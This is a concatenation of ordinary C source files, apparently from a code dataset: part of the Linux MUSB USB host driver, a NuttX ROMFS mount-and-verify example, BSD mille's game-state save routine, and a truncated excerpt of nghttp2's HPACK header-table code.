hw_end); if (is_dma_capable()) { dma = is_in ? ep->rx_channel : ep->tx_channel; if (dma) { status = ep->musb->dma_controller->channel_abort(dma); musb_dbg(musb, "abort %cX%d DMA for urb %p --> %d", is_in ? 'R' : 'T', ep->epnum, urb, status); urb->actual_length += dma->actual_len; } } /* turn off DMA requests, discard state, stop polling ... */ if (ep->epnum && is_in) { /* giveback saves bulk toggle */ csr = musb_h_flush_rxfifo(ep, 0); /* clear the endpoint's irq status here to avoid bogus irqs */ if (is_dma_capable() && dma) musb_platform_clear_ep_rxintr(musb, ep->epnum); } else if (ep->epnum) { musb_h_tx_flush_fifo(ep); csr = musb_readw(epio, MUSB_TXCSR); csr &= ~(MUSB_TXCSR_AUTOSET | MUSB_TXCSR_DMAENAB | MUSB_TXCSR_H_RXSTALL | MUSB_TXCSR_H_NAKTIMEOUT | MUSB_TXCSR_H_ERROR | MUSB_TXCSR_TXPKTRDY); musb_writew(epio, MUSB_TXCSR, csr); /* REVISIT may need to clear FLUSHFIFO ... */ musb_writew(epio, MUSB_TXCSR, csr); /* flush cpu writebuffer */ csr = musb_readw(epio, MUSB_TXCSR); } else { musb_h_ep0_flush_fifo(ep); } if (status == 0) musb_advance_schedule(ep->musb, urb, ep, is_in); return status; } static int musb_urb_dequeue(struct usb_hcd *hcd, struct urb *urb, int status) { struct musb *musb = hcd_to_musb(hcd); struct musb_qh *qh; unsigned long flags; int is_in = usb_pipein(urb->pipe); int ret; trace_musb_urb_deq(musb, urb); spin_lock_irqsave(&musb->lock, flags); ret = usb_hcd_check_unlink_urb(hcd, urb, status); if (ret) goto done; qh = urb->hcpriv; if (!qh) goto done; /* * Any URB not actively programmed into endpoint hardware can be * immediately given back; that's any URB not at the head of an * endpoint queue, unless someday we get real DMA queues. And even * if it's at the head, it might not be known to the hardware... * * Otherwise abort current transfer, pending DMA, etc.; urb->status * has already been updated. This is a synchronous abort; it'd be * OK to hold off until after some IRQ, though. * * NOTE: qh is invalid unless !list_empty(&hep->urb_list) */ if (!qh->is_ready || urb->urb_list.prev != &qh->hep->urb_list || musb_ep_get_qh(qh->hw_ep, is_in) != qh) { int ready = qh->is_ready; qh->is_ready = 0; musb_giveback(musb, urb, 0); qh->is_ready = ready; /* If nothing else (usually musb_giveback) is using it * and its URB list has emptied, recycle this qh. */ if (ready && list_empty(&qh->hep->urb_list)) { qh->hep->hcpriv = NULL; list_del(&qh->ring); kfree(qh); } } else ret = musb_cleanup_urb(urb, qh); done: spin_unlock_irqrestore(&musb->lock, flags); return ret; } /* disable an endpoint */ static void musb_h_disable(struct usb_hcd *hcd, struct usb_host_endpoint *hep) { u8 is_in = hep->desc.bEndpointAddress & USB_DIR_IN; unsigned long flags; struct musb *musb = hcd_to_musb(hcd); struct musb_qh *qh; struct urb *urb; spin_lock_irqsave(&musb->lock, flags); qh = hep->hcpriv; if (qh == NULL) goto exit; /* NOTE: qh is invalid unless !list_empty(&hep->urb_list) */ /* Kick the first URB off the hardware, if needed */ qh->is_ready = 0; if (musb_ep_get_qh(qh->hw_ep, is_in) == qh) { urb = next_urb(qh); /* make software (then hardware) stop ASAP */ if (!urb->unlinked) urb->status = -ESHUTDOWN; /* cleanup */ musb_cleanup_urb(urb, qh); /* Then nuke all the others ... and advance the * queue on hw_ep (e.g. bulk ring) when we're done. */ while (!list_empty(&hep->urb_list)) { urb = next_urb(qh); urb->status = -ESHUTDOWN; musb_advance_schedule(musb, urb, qh->hw_ep, is_in); } } else { /* Just empty the queue; the hardware is busy with * other transfers, and since !qh->is_ready nothing * will activate any of these as it advances. */ while (!list_empty(&hep->urb_list)) musb_giveback(musb, next_urb(qh), -ESHUTDOWN); hep->hcpriv = NULL; list_del(&qh->ring); kfree(qh); } exit: spin_unlock_irqrestore(&musb->lock, flags); } static int musb_h_get_frame_number(struct usb_hcd *hcd) { struct musb *musb = hcd_to_musb(hcd); return musb_readw(musb->mregs, MUSB_FRAME); } static int musb_h_start(struct usb_hcd *hcd) { struct musb *musb = hcd_to_musb(hcd); /* NOTE: musb_start() is called when the hub driver turns * on port power, or when (OTG) peripheral starts. */ hcd->state = HC_STATE_RUNNING; musb->port1_status = 0; return 0; } static void musb_h_stop(struct usb_hcd *hcd) { musb_stop(hcd_to_musb(hcd)); hcd->state = HC_STATE_HALT; } static int musb_bus_suspend(struct usb_hcd *hcd) { struct musb *musb = hcd_to_musb(hcd); u8 devctl; int ret; ret = musb_port_suspend(musb, true); if (ret) return ret; if (!is_host_active(musb)) return 0; switch (musb->xceiv->otg->state) { case OTG_STATE_A_SUSPEND: return 0; case OTG_STATE_A_WAIT_VRISE: /* ID could be grounded even if there's no device * on the other end of the cable. NOTE that the * A_WAIT_VRISE timers are messy with MUSB... */ devctl = musb_readb(musb->mregs, MUSB_DEVCTL); if ((devctl & MUSB_DEVCTL_VBUS) == MUSB_DEVCTL_VBUS) musb->xceiv->otg->state = OTG_STATE_A_WAIT_BCON; break; default: break; } if (musb->is_active) { WARNING("trying to suspend as %s while active\n", usb_otg_state_string(musb->xceiv->otg->state)); return -EBUSY; } else return 0; } static int musb_bus_resume(struct usb_hcd *hcd) { struct musb *musb = hcd_to_musb(hcd); if (musb->config && musb->config->host_port_deassert_reset_at_resume) musb_port_reset(musb, false); return 0; } #ifndef CONFIG_MUSB_PIO_ONLY #define MUSB_USB_DMA_ALIGN 4 struct musb_temp_buffer { void *kmalloc_ptr; void *old_xfer_buffer; u8 data[0]; }; static void musb_free_temp_buffer(struct urb *urb) { enum dma_data_direction dir; struct musb_temp_buffer *temp; size_t length; if (!(urb->transfer_flags & URB_ALIGNED_TEMP_BUFFER)) return; dir = usb_urb_dir_in(urb) ? DMA_FROM_DEVICE : DMA_TO_DEVICE; temp = container_of(urb->transfer_buffer, struct musb_temp_buffer, data); if (dir == DMA_FROM_DEVICE) { if (usb_pipeisoc(urb->pipe)) length = urb->transfer_buffer_length; else length = urb->actual_length; memcpy(temp->old_xfer_buffer, temp->data, length); } urb->transfer_buffer = temp->old_xfer_buffer; kfree(temp->kmalloc_ptr); urb->transfer_flags &= ~URB_ALIGNED_TEMP_BUFFER; } static int musb_alloc_temp_buffer(struct urb *urb, gfp_t mem_flags) { enum dma_data_direction dir; struct musb_temp_buffer *temp; void *kmalloc_ptr; size_t kmalloc_size; if (urb->num_sgs || urb->sg || urb->transfer_buffer_length == 0 || !((uintptr_t)urb->transfer_buffer & (MUSB_USB_DMA_ALIGN - 1))) return 0; dir = usb_urb_dir_in(urb) ? DMA_FROM_DEVICE : DMA_TO_DEVICE; /* Allocate a buffer with enough padding for alignment */ kmalloc_size = urb->transfer_buffer_length + sizeof(struct musb_temp_buffer) + MUSB_USB_DMA_ALIGN - 1; kmalloc_ptr = kmalloc(kmalloc_size, mem_flags); if (!kmalloc_ptr) return -ENOMEM; /* Position our struct temp_buffer such that data is aligned */ temp = PTR_ALIGN(kmalloc_ptr, MUSB_USB_DMA_ALIGN); temp->kmalloc_ptr = kmalloc_ptr; temp->old_xfer_buffer = urb->transfer_buffer; if (dir == DMA_TO_DEVICE) memcpy(temp->data, urb->transfer_buffer, urb->transfer_buffer_length); urb->transfer_buffer = temp->data; urb->transfer_flags |= URB_ALIGNED_TEMP_BUFFER; return 0; } static int musb_map_urb_for_dma(struct usb_hcd *hcd, struct urb *urb, gfp_t mem_flags) { struct musb *musb = hcd_to_musb(hcd); int ret; /* * The DMA engine in RTL1.8 and above cannot handle * DMA addresses that are not aligned to a 4 byte boundary. * For such engine implemented (un)map_urb_for_dma hooks. * Do not use these hooks for RTL<1.8 */ if (musb->hwvers < MUSB_HWVERS_1800) return usb_hcd_map_urb_for_dma(hcd, urb, mem_flags); ret = musb_alloc_temp_buffer(urb, mem_flags); if (ret) return ret; ret = usb_hcd_map_urb_for_dma(hcd, urb, mem_flags); if (ret) musb_free_temp_buffer(urb); return ret; } static void musb_unmap_urb_for_dma(struct usb_hcd *hcd, struct urb *urb) { struct musb *musb = hcd_to_musb(hcd); usb_hcd_unmap_urb_for_dma(hcd, urb); /* Do not use this hook for RTL<1.8 (see description above) */ if (musb->hwvers < MUSB_HWVERS_1800) return; musb_free_temp_buffer(urb); } #endif /* !CONFIG_MUSB_PIO_ONLY */ static const struct hc_driver musb_hc_driver = { .description = "musb-hcd", .product_desc = "MUSB HDRC host driver", .hcd_priv_size = sizeof(struct musb *), .flags = HCD_USB2 | HCD_DMA | HCD_MEMORY, /* not using irq handler or reset hooks from usbcore, since * those must be shared with peripheral code for OTG configs */ .start = musb_h_start, .stop = musb_h_stop, .get_frame_number = musb_h_get_frame_number, .urb_enqueue = musb_urb_enqueue, .urb_dequeue = musb_urb_dequeue, .endpoint_disable = musb_h_disable, #ifndef CONFIG_MUSB_PIO_ONLY .map_urb_for_dma = musb_map_urb_for_dma, .unmap_urb_for_dma = musb_unmap_urb_for_dma, #endif .hub_status_data = musb_hub_status_data, .hub_control = musb_hub_control, .bus_suspend = musb_bus_suspend, .bus_resume = musb_bus_resume, /* .start_port_reset = NULL, */ /* .hub_irq_enable = NULL, */ }; int musb_host_alloc(struct musb *musb) { struct device *dev = musb->controller; /* usbcore sets dev->driver_data to hcd, and sometimes uses that... */ musb->hcd = usb_create_hcd(&musb_hc_driver, dev, dev_name(dev)); if (!musb->hcd) return -EINVAL; *musb->hcd->hcd_priv = (unsigned long) musb; musb->hcd->self.uses_pio_for_control = 1; musb->hcd->uses_new_polling = 1; musb->hcd->has_tt = 1; return 0; } void musb_host_cleanup(struct musb *musb) { if (musb->port_mode == MUSB_PERIPHERAL) return; usb_remove_hcd(musb->hcd); } void musb_host_free(struct musb *musb) { usb_put_hcd(musb->hcd); } int musb_host_setup(struct musb *musb, int power_budget) { int ret; struct usb_hcd *hcd = musb->hcd; if (musb->port_mode == MUSB_HOST) { MUSB_HST_MODE(musb); musb->xceiv->otg->state = OTG_STATE_A_IDLE; } otg_set_host(musb->xceiv->otg, &hcd->self); /* don't support otg protocols */ hcd->self.otg_port = 0; musb->xceiv->otg->host = &hcd->self; hcd->power_budget = 2 * (power_budget ? : 250); hcd->skip_phy_initialization = 1; ret = usb_add_hcd(hcd, 0, 0); if (ret < 0) return ret; device_wakeup_enable(hcd->self.controller); return 0; } void musb_host_resume_root_hub(struct musb *musb) { usb_hcd_resume_root_hub(musb->hcd); } void musb_host_poke_root_hub(struct musb *musb) { MUSB_HST_MODE(musb); if (musb->hcd->status_urb) usb_hcd_poll_rh_status(musb->hcd); else usb_hcd_resume_root_hub(musb->hcd); }
485923.c
/**************************************************************************** * examples/romfs/romfs_main.c * * Copyright (C) 2008-2009, 2011 Gregory Nutt. All rights reserved. * Author: Gregory Nutt <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /* Mount the ROMFS image, Verifty that it contains the * following: * * testdir * |---------- [drwxr-xr-x 4096] adir * | |------ [-rw-r--r-- 21] anotherfile.txt * | |------ [drwxr-xr-x 4096] subdir * | | `-- [-rw-r--r-- 21] subdirfile.txt * | `------ [-rw-r--r-- 25] yafile.txt * |---------- [-rw-r--r-- 15] afile.txt * |---------- [-rw-r--r-- 21] hfile * `---------- [lrwxrwxrwx 11] ldir -> adir/subdir * * testdir/ldir is a soft-link and should not be detectable. * hfile is a hardlink to subdirfile and should be identical */ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <sys/types.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/mman.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <dirent.h> #include <errno.h> #include <nuttx/fs/ramdisk.h> #include "romfs_testdir.h" /**************************************************************************** * Definitions ****************************************************************************/ /* Configuration settings */ #ifndef CONFIG_EXAMPLES_ROMFS_RAMDEVNO # define CONFIG_EXAMPLES_ROMFS_RAMDEVNO 1 #endif #ifndef CONFIG_EXAMPLES_ROMFS_SECTORSIZE # define CONFIG_EXAMPLES_ROMFS_SECTORSIZE 64 #endif #ifndef CONFIG_EXAMPLES_ROMFS_MOUNTPOINT # define CONFIG_EXAMPLES_ROMFS_MOUNTPOINT "/usr/local/share" #endif #ifdef CONFIG_DISABLE_MOUNTPOINT # error "Mountpoint support is disabled" #endif #if CONFIG_NFILE_DESCRIPTORS < 4 # error "Not enough file descriptors" #endif #ifndef CONFIG_FS_ROMFS # error "ROMFS support not enabled" #endif #define NSECTORS(b) (((b)+CONFIG_EXAMPLES_ROMFS_SECTORSIZE-1)/CONFIG_EXAMPLES_ROMFS_SECTORSIZE) #define STR_RAMDEVNO(m) #m #define MKMOUNT_DEVNAME(m) "/dev/ram" STR_RAMDEVNO(m) #define MOUNT_DEVNAME MKMOUNT_DEVNAME(CONFIG_EXAMPLES_ROMFS_RAMDEVNO) #define SCRATCHBUFFER_SIZE 1024 /* Test directory stuff */ #define WRITABLE_MODE (S_IWOTH|S_IWGRP|S_IWUSR) #define READABLE_MODE (S_IROTH|S_IRGRP|S_IRUSR) #define EXECUTABLE_MODE (S_IXOTH|S_IXGRP|S_IXUSR) #define DIRECTORY_MODE (S_IFDIR|READABLE_MODE|EXECUTABLE_MODE) #define FILE_MODE (S_IFREG|READABLE_MODE) /**************************************************************************** * Private Types ****************************************************************************/ struct node_s { struct node_s *peer; /* Next node in this directory */ bool directory; /* True: directory */ bool found; /* True: found and verified */ const char *name; /* Node name */ mode_t mode; /* Expected permissions */ size_t size; /* Expected size */ union { const char *filecontent; /* Context of text file */ struct node_s *child; /* Subdirectory start */ } u; }; /**************************************************************************** * Private Data ****************************************************************************/ static const char g_afilecontent[] = "This is a file\n"; static const char g_anotherfilecontent[] = "This is another file\n"; static const char g_yafilecontent[] = "This is yet another file\n"; static const char g_subdirfilecontent[] = "File in subdirectory\n"; #define g_hfilecontent g_subdirfilecontent static struct node_s g_adir; static struct node_s g_afile; static struct node_s g_hfile; static struct node_s g_anotherfile; static struct node_s g_subdir; static struct node_s g_yafile; static struct node_s g_subdirfile; static int g_nerrors = 0; static char g_scratchbuffer[SCRATCHBUFFER_SIZE]; /**************************************************************************** * Private Functions ****************************************************************************/ /**************************************************************************** * Name: ****************************************************************************/ static void connectem(void) { g_adir.peer = &g_afile; g_adir.directory = true; g_adir.found = false; g_adir.name = "adir"; g_adir.mode = DIRECTORY_MODE; g_adir.size = 0; g_adir.u.child = &g_anotherfile; g_afile.peer = &g_hfile; g_afile.directory = false; g_afile.found = false; g_afile.name = "afile.txt"; g_afile.mode = FILE_MODE; g_afile.size = strlen(g_afilecontent); g_afile.u.filecontent = g_afilecontent; g_hfile.peer = NULL; g_hfile.directory = false; /* Actually a hard link */ g_hfile.found = false; g_hfile.name = "hfile"; g_hfile.mode = FILE_MODE; g_hfile.size = strlen(g_hfilecontent); g_hfile.u.filecontent = g_hfilecontent; g_anotherfile.peer = &g_yafile; g_anotherfile.directory = false; g_anotherfile.found = false; g_anotherfile.name = "anotherfile.txt"; g_anotherfile.mode = FILE_MODE; g_anotherfile.size = strlen(g_anotherfilecontent); g_anotherfile.u.filecontent = g_anotherfilecontent; g_yafile.peer = &g_subdir; g_yafile.directory = false; g_yafile.found = false; g_yafile.name = "yafile.txt"; g_yafile.mode = FILE_MODE; g_yafile.size = strlen(g_yafilecontent); g_yafile.u.filecontent = g_yafilecontent; g_subdir.peer = NULL; g_subdir.directory = true; g_subdir.found = false; g_subdir.name = "subdir"; g_subdir.mode = DIRECTORY_MODE; g_subdir.size = 0; g_subdir.u.child = &g_subdirfile; g_subdirfile.peer = NULL; g_subdirfile.directory = false; g_subdirfile.found = false; g_subdirfile.name = "subdirfile.txt"; g_subdirfile.mode = FILE_MODE; g_subdirfile.size = strlen(g_subdirfilecontent); g_subdirfile.u.filecontent = g_subdirfilecontent; } /**************************************************************************** * Name: findindirectory ****************************************************************************/ static struct node_s *findindirectory(struct node_s *entry, const char *name) { for (; entry; entry = entry->peer) { if (!entry->found && strcmp(entry->name, name) == 0) { entry->found = true; return entry; } } return NULL; } /**************************************************************************** * Name: checkattributes ****************************************************************************/ static void checkattributes(const char *path, mode_t mode, size_t size) { struct stat buf; int ret; ret = stat(path, &buf); if (ret != 0) { printf(" -- ERROR: Failed to stat %s: %d\n", path, errno); g_nerrors++; return; } if (mode != buf.st_mode) { printf(" -- ERROR: Expected mode %08x, got %08x\n", mode, buf.st_mode); g_nerrors++; } if (size != buf.st_size) { printf(" -- ERROR: Expected size %d, got %d\n", mode, buf.st_size); g_nerrors++; } } /**************************************************************************** * Name: checkfile ****************************************************************************/ static void checkfile(const char *path, struct node_s *node) { ssize_t nbytesread; char *filedata; int fd; /* Open the file */ fd = open(path, O_RDONLY); if (fd < 0) { printf(" -- ERROR: Failed to open %s: %d\n", path, errno); g_nerrors++; return; } /* Read and verify the file contents */ nbytesread = read(fd, g_scratchbuffer, SCRATCHBUFFER_SIZE); if (nbytesread < 0) { printf(" -- ERROR: Failed to read from %s: %d\n", path, errno); g_nerrors++; } else if (nbytesread != node->size) { printf(" -- ERROR: Read %d bytes, expected %d\n", nbytesread, node->size); g_nerrors++; } else if (memcmp(g_scratchbuffer, node->u.filecontent, node->size) != 0) { g_scratchbuffer[nbytesread] = '\0'; printf(" -- ERROR: File content read does not match expectation:\n"); printf(" -- Read: [%s]\n", g_scratchbuffer); printf(" -- Expected: [%s]\n", node->u.filecontent); g_nerrors++; } /* Memory map and verify the file contents */ filedata = (char*)mmap(NULL, node->size, PROT_READ, MAP_SHARED|MAP_FILE, fd, 0); if (!filedata || filedata == (char*)MAP_FAILED) { printf(" -- ERROR: mmap of %s failed: %d\n", path, errno); g_nerrors++; } else { if (memcmp(filedata, node->u.filecontent, node->size) != 0) { memcpy(g_scratchbuffer, filedata, node->size); g_scratchbuffer[node->size] = '\0'; printf(" -- ERROR: Mapped file content read does not match expectation:\n"); printf(" -- Memory: [%s]\n", filedata); printf(" -- Expected: [%s]\n", node->u.filecontent); g_nerrors++; } munmap(filedata, node->size); } /* Close the file */ if (close(fd) != OK) { printf(" -- ERROR: Failed to close %s: %d\n", path, errno); g_nerrors++; } } /**************************************************************************** * Name: readdirectories ****************************************************************************/ static void readdirectories(const char *path, struct node_s *entry) { DIR *dirp; struct node_s *node; struct dirent *direntry; char *fullpath; printf("Traversing directory: %s\n", path); dirp = opendir(path); if (!dirp) { printf(" ERROR opendir(\"%s\") failed: %d\n", path, errno); g_nerrors++; return; } for (direntry = readdir(dirp); direntry; direntry = readdir(dirp)) { if (strcmp(direntry->d_name, ".") == 0 || strcmp(direntry->d_name, "..") == 0) { printf(" Skipping %s\n", direntry->d_name); continue; } node = findindirectory(entry, direntry->d_name); if (!node) { printf(" ERROR: No node found for %s\n", direntry->d_name); g_nerrors++; continue; } /* Get the full path to the entry */ sprintf(g_scratchbuffer, "%s/%s", path, direntry->d_name); fullpath = strdup(g_scratchbuffer); if (DIRENT_ISDIRECTORY(direntry->d_type)) { printf(" DIRECTORY: %s/\n", fullpath); if (!node->directory) { printf(" -- ERROR: Expected type directory\n"); g_nerrors++; } else { checkattributes(fullpath, node->mode, 0); readdirectories(fullpath, node->u.child); printf("Continuing directory: %s\n", path); } } else { printf(" FILE: %s/\n", fullpath); if (node->directory) { printf(" -- ERROR: Expected type file\n"); g_nerrors++; } else { checkattributes(fullpath, node->mode, node->size); checkfile(fullpath, node); } } free(fullpath); } closedir(dirp); } /**************************************************************************** * Name: checkdirectories ****************************************************************************/ static void checkdirectories(struct node_s *entry) { for (; entry; entry = entry->peer) { if (!entry->found ) { printf("ERROR: %s never found\n", entry->name); g_nerrors++; } if (entry->directory) { checkdirectories(entry->u.child); } } } /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: romfs_main ****************************************************************************/ #ifdef CONFIG_BUILD_KERNEL int main(int argc, FAR char *argv[]) #else int romfs_main(int argc, char *argv[]) #endif { int ret; /* Create a RAM disk for the test */ ret = romdisk_register(CONFIG_EXAMPLES_ROMFS_RAMDEVNO, testdir_img, NSECTORS(testdir_img_len), CONFIG_EXAMPLES_ROMFS_SECTORSIZE); if (ret < 0) { printf("ERROR: Failed to create RAM disk\n"); return 1; } /* Mount the test file system */ printf("Mounting ROMFS filesystem at target=%s with source=%s\n", CONFIG_EXAMPLES_ROMFS_MOUNTPOINT, MOUNT_DEVNAME); ret = mount(MOUNT_DEVNAME, CONFIG_EXAMPLES_ROMFS_MOUNTPOINT, "romfs", MS_RDONLY, NULL); if (ret < 0) { printf("ERROR: Mount failed: %d\n", errno); return 1; } /* Perform the test */ connectem(); readdirectories(CONFIG_EXAMPLES_ROMFS_MOUNTPOINT, &g_adir); checkdirectories(&g_adir); if (g_nerrors) { printf("Finished with %d errors\n", g_nerrors); return g_nerrors; } printf("PASSED\n"); return 0; }
93364.c
/* * Copyright (c) 1982, 1993 * The Regents of the University of California. All rights reserved. * * %sccs.include.redist.c% */ #ifndef lint static char sccsid[] = "@(#)varpush.c 8.1 (Berkeley) 05/31/93"; #endif /* not lint */ # include <paths.h> # include "mille.h" /* * @(#)varpush.c 1.1 (Berkeley) 4/1/82 */ int read(), write(); /* * push variables around via the routine func() on the file * channel file. func() is either read or write. */ varpush(file, func) reg int file; reg int (*func)(); { int temp; (*func)(file, (char *) &Debug, sizeof Debug); (*func)(file, (char *) &Finished, sizeof Finished); (*func)(file, (char *) &Order, sizeof Order); (*func)(file, (char *) &End, sizeof End); (*func)(file, (char *) &On_exit, sizeof On_exit); (*func)(file, (char *) &Handstart, sizeof Handstart); (*func)(file, (char *) &Numgos, sizeof Numgos); (*func)(file, (char *) Numseen, sizeof Numseen); (*func)(file, (char *) &Play, sizeof Play); (*func)(file, (char *) &Window, sizeof Window); (*func)(file, (char *) Deck, sizeof Deck); (*func)(file, (char *) &Discard, sizeof Discard); (*func)(file, (char *) Player, sizeof Player); if (func == read) { read(file, (char *) &temp, sizeof temp); Topcard = &Deck[temp]; #ifdef DEBUG if (Debug) { char buf[80]; over: printf("Debug file:"); gets(buf); if ((outf = fopen(buf, "w")) == NULL) { perror(buf); goto over; } if (strcmp(buf, _PATH_DEVNULL) != 0) setbuf(outf, (char *)NULL); } #endif } else { temp = Topcard - Deck; write(file, (char *) &temp, sizeof temp); } }
745788.c
#include "http2ng.h" extern const nghttp2_huff_sym huff_sym_table[]; extern const nghttp2_huff_decode huff_decode_table[][16]; /* Generated by mkstatictbl.py */ /* 3rd parameter is nghttp2_token value for header field name. We use first enum value if same header names are repeated (e.g., :status). */ static nghttp2_hd_static_entry static_table[] = { MAKE_STATIC_ENT(":authority", "", 0, 3153725150u), MAKE_STATIC_ENT(":method", "GET", 1, 695666056u), MAKE_STATIC_ENT(":method", "POST", 1, 695666056u), MAKE_STATIC_ENT(":path", "/", 3, 3292848686u), MAKE_STATIC_ENT(":path", "/index.html", 3, 3292848686u), MAKE_STATIC_ENT(":scheme", "http", 5, 2510477674u), MAKE_STATIC_ENT(":scheme", "https", 5, 2510477674u), MAKE_STATIC_ENT(":status", "200", 7, 4000288983u), MAKE_STATIC_ENT(":status", "204", 7, 4000288983u), MAKE_STATIC_ENT(":status", "206", 7, 4000288983u), MAKE_STATIC_ENT(":status", "304", 7, 4000288983u), MAKE_STATIC_ENT(":status", "400", 7, 4000288983u), MAKE_STATIC_ENT(":status", "404", 7, 4000288983u), MAKE_STATIC_ENT(":status", "500", 7, 4000288983u), MAKE_STATIC_ENT("accept-charset", "", 14, 3664010344u), MAKE_STATIC_ENT("accept-encoding", "gzip, deflate", 15, 3379649177u), MAKE_STATIC_ENT("accept-language", "", 16, 1979086614u), MAKE_STATIC_ENT("accept-ranges", "", 17, 1713753958u), MAKE_STATIC_ENT("accept", "", 18, 136609321u), MAKE_STATIC_ENT("access-control-allow-origin", "", 19, 2710797292u), MAKE_STATIC_ENT("age", "", 20, 742476188u), MAKE_STATIC_ENT("allow", "", 21, 2930878514u), MAKE_STATIC_ENT("authorization", "", 22, 2436257726u), MAKE_STATIC_ENT("cache-control", "", 23, 1355326669u), MAKE_STATIC_ENT("content-disposition", "", 24, 3889184348u), MAKE_STATIC_ENT("content-encoding", "", 25, 65203592u), MAKE_STATIC_ENT("content-language", "", 26, 24973587u), MAKE_STATIC_ENT("content-length", "", 27, 1308181789u), MAKE_STATIC_ENT("content-location", "", 28, 2302364718u), MAKE_STATIC_ENT("content-range", "", 29, 3555523146u), MAKE_STATIC_ENT("content-type", "", 30, 4244048277u), MAKE_STATIC_ENT("cookie", "", 31, 2007449791u), MAKE_STATIC_ENT("date", "", 32, 3564297305u), MAKE_STATIC_ENT("etag", "", 33, 113792960u), MAKE_STATIC_ENT("expect", "", 34, 2530896728u), MAKE_STATIC_ENT("expires", "", 35, 1049544579u), MAKE_STATIC_ENT("from", "", 36, 2513272949u), MAKE_STATIC_ENT("host", "", 37, 2952701295u), MAKE_STATIC_ENT("if-match", "", 38, 3597694698u), MAKE_STATIC_ENT("if-modified-since", "", 39, 2213050793u), MAKE_STATIC_ENT("if-none-match", "", 40, 2536202615u), MAKE_STATIC_ENT("if-range", "", 41, 2340978238u), MAKE_STATIC_ENT("if-unmodified-since", "", 42, 3794814858u), MAKE_STATIC_ENT("last-modified", "", 43, 3226950251u), MAKE_STATIC_ENT("link", "", 44, 232457833u), MAKE_STATIC_ENT("location", "", 45, 200649126u), MAKE_STATIC_ENT("max-forwards", "", 46, 1826162134u), MAKE_STATIC_ENT("proxy-authenticate", "", 47, 2709445359u), MAKE_STATIC_ENT("proxy-authorization", "", 48, 2686392507u), MAKE_STATIC_ENT("range", "", 49, 4208725202u), MAKE_STATIC_ENT("referer", "", 50, 3969579366u), MAKE_STATIC_ENT("refresh", "", 51, 3572655668u), MAKE_STATIC_ENT("retry-after", "", 52, 3336180598u), MAKE_STATIC_ENT("server", "", 53, 1085029842u), MAKE_STATIC_ENT("set-cookie", "", 54, 1848371000u), MAKE_STATIC_ENT("strict-transport-security", "", 55, 4138147361u), MAKE_STATIC_ENT("transfer-encoding", "", 56, 3719590988u), MAKE_STATIC_ENT("user-agent", "", 57, 606444526u), MAKE_STATIC_ENT("vary", "", 58, 1085005381u), MAKE_STATIC_ENT("via", "", 59, 1762798611u), MAKE_STATIC_ENT("www-authenticate", "", 60, 779865858u), }; static int memeq(const void *s1, const void *s2, size_t n) { return memcmp(s1, s2, n) == 0; } #define nghttp2_min(A, B) ((A) < (B) ? (A) : (B)) #define nghttp2_max(A, B) ((A) > (B) ? (A) : (B)) static void hd_map_insert(nghttp2_hd_map *map, nghttp2_hd_entry *ent) { nghttp2_hd_entry **bucket; bucket = &map->table[ent->hash & (HD_MAP_SIZE - 1)]; if (*bucket == NULL) { *bucket = ent; return; } /* lower index is linked near the root */ ent->next = *bucket; *bucket = ent; } static size_t entry_room(size_t namelen, size_t valuelen) { return NGHTTP2_HD_ENTRY_OVERHEAD + namelen + valuelen; } static void emit_header(nghttp2_hd_nv *nv_out, nghttp2_hd_nv *nv) { DEBUGF("inflatehd: header emission: %s: %s\n", nv->name->base, nv->value->base); /* ent->ref may be 0. This happens if the encoder emits literal block larger than header table capacity with indexing. */ *nv_out = *nv; } void nghttp2_buf_wrap_init(nghttp2_buf *buf, uint8_t *begin, size_t len) { buf->begin = buf->pos = buf->last = buf->mark = begin; buf->end = begin + len; } uint8_t *nghttp2_cpymem(uint8_t *dest, const void *src, size_t len) { if (len == 0) { return dest; } memcpy(dest, src, len); return dest + len; } static void hd_context_shrink_table_size(nghttp2_hd_context *context, nghttp2_hd_map *map) { nghttp2_mem *mem; mem = context->mem; while (context->hd_table_bufsize > context->hd_table_bufsize_max && context->hd_table.len > 0) { size_t idx = context->hd_table.len - 1; nghttp2_hd_entry *ent = hd_ringbuf_get(&context->hd_table, idx); context->hd_table_bufsize -= entry_room(ent->nv.name->len, ent->nv.value->len); hd_ringbuf_pop_back(&context->hd_table); if (map) { hd_map_remove(map, ent); } nghttp2_hd_entry_free(ent); nghttp2_mem_free(mem, ent); } } int nghttp2_rcbuf_new(nghttp2_rcbuf **rcbuf_ptr, size_t size, nghttp2_mem *mem) { uint8_t *p; p = nghttp2_mem_malloc(mem, sizeof(nghttp2_rcbuf) + size); if (p == NULL) { return NGHTTP2_ERR_NOMEM; } *rcbuf_ptr = (void *)p; (*rcbuf_ptr)->mem_user_data = mem->mem_user_data; (*rcbuf_ptr)->free = mem->free; (*rcbuf_ptr)->base = p + sizeof(nghttp2_rcbuf); (*rcbuf_ptr)->len 